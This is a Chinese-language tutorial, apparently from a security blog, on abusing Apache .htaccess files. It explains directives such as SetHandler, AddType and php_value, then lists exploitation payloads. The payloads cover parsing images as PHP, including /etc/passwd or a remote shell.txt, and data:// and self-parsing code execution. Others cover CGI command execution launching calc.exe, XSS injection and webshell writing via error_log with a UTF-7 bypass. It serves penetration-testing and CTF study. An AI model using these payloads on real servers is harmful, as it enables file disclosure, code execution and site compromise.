Apache的.htaccess利用技巧
字数 987 2025-08-18 17:33:16
Apache .htaccess 文件利用技巧详解
0x1 简介
0x1.1 基本概念
.htaccess 文件提供了针对目录改变配置的方法,在一个特定的文档目录中放置包含指令的文件,可以作用于该目录及其所有子目录。
- 支持
#单行注释符 - 支持
\拼接上下两行 - 用户可使用的命令受限于 Apache 的
AllowOverride指令设置
0x1.2 作用范围
- 作用于
.htaccess文件所在目录及其所有子目录 - 子目录中的指令会覆盖父目录或主配置文件中的指令
- 配置指令按查找顺序依次生效
0x1.3 配置文件
启用 .htaccess 需要在主配置文件中设置:
AllowOverride All # 启动.htaccess文件的使用
可修改 .htaccess 文件名:
AccessFileName .config # 将.htaccess修改为.config
0x2 常见指令
0x2.1 SetHandler
强制所有匹配的文件被指定处理器处理:
SetHandler handler-name|None
示例:
SetHandler application/x-httpd-php # 当前目录及其子目录下所有文件都会被当做PHP解析
SetHandler server-status # 查看Apache服务器状态信息,访问任意不存在文件加?refresh=5自动刷新
0x2.2 AddHandler
在文件扩展名与特定处理器之间建立映射:
AddHandler handler-name extension [extension] ...
示例:
AddHandler cgi-script .xxx # 将.xxx文件作为CGI脚本处理
0x2.3 AddType
将文件扩展名映射到指定的内容类型:
AddType media-type extension [extension] ...
示例:
AddType application/x-httpd-php .gif # 将.gif文件当做PHP解析
AddType application/x-httpd-php png jpg gif # 将多个后缀当做PHP解析
0x2.4 php_value
修改PHP配置设定(需要 AllowOverride Options 或 AllowOverride All 权限):
php_value name value
可利用的PHP配置选项:
- 文件包含配置:
php_value auto_prepend_file images.png # 在主文件解析前自动包含 php_value auto_append_file images.png # 在主文件解析后自动包含 - 绕过preg_match:
php_value pcre.backtrack_limit 0 php_value pcre.jit 0
0x2.5 php_flag
设置布尔值的PHP配置指令:
php_flag name on|off
示例:
php_flag engine 0 # 关闭PHP解析,造成源码泄露
0x3 利用方式
0x3.1 文件解析
上传 .htaccess 使图片文件被解析为PHP:
方法1 - SetHandler:
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
方法2 - AddType:
AddType application/x-httpd-php .png
0x3.2 文件包含
本地文件包含
php_value auto_prepend_file /etc/passwd
php_value auto_append_file /etc/passwd
远程文件包含(需 all_url_include 开启)
php_value auto_append_file http://example.com/shell.txt
0x3.3 源码泄露
php_flag engine 0
0x3.4 代码执行
- 利用伪协议(需
all_url_fopen、all_url_include开启):
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
- 解析
.htaccess本身:
php_value auto_append_file .htaccess#<?php phpinfo();
或
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php# <?php phpinfo(); ?>
0x3.5 命令执行
CGI启动(需加载 cgi_module)
Options ExecCGI
AddHandler cgi-script .xx
ce.xx 文件内容:
#!C:/Windows/System32/cmd.exe /k start calc.exe
FastCGI启动(需加载 mod_fcgid.so)
Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx
0x3.6 XSS
highlight_file方式
php_value highlight.comment '"><script>alert(1);</script>'
错误消息链接方式
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"
0x3.7 自定义错误文件
error.php 内容:
<?php include('shell'); # 报错页面
.htaccess 内容:
php_value error_log /tmp/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"
UTF-7绕过方式:
php_value error_log /tmp/shell
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value include_path "/tmp"
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"